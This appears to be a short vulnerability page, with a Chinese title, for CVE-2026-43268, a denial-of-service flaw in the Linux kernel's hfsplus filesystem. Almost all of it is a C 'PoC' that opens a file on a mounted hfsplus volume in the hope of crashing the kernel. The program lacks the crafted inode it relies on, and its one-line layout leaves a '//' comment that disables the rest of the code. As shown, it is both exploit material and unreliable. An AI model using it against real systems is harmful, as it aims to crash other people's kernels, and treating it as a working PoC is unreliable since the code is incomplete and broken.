CVE-2026-43268: Linux内核hfsplus文件系统拒绝服务漏洞

#include <stdio.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2026-43268 * This program attempts to trigger the vulnerability by opening a file * on an hfsplus filesystem that contains a "special" inode. * Note: This requires a mounted hfsplus filesystem with the specific inode structure. */ int main() { const char *target_file = "/mnt/hfsplus_vulnerable/special_file"; int fd; printf("[+] Attempting to open target file: %s\n", target_file); // Attempt to open the file which may trigger the invalid mode check fd = open(target_file, O_RDONLY); if (fd < 0) { perror("[-] Failed to open file"); return 1; } printf("[+] File opened. Interaction may cause crash on vulnerable systems.\n"); close(fd); return 0; }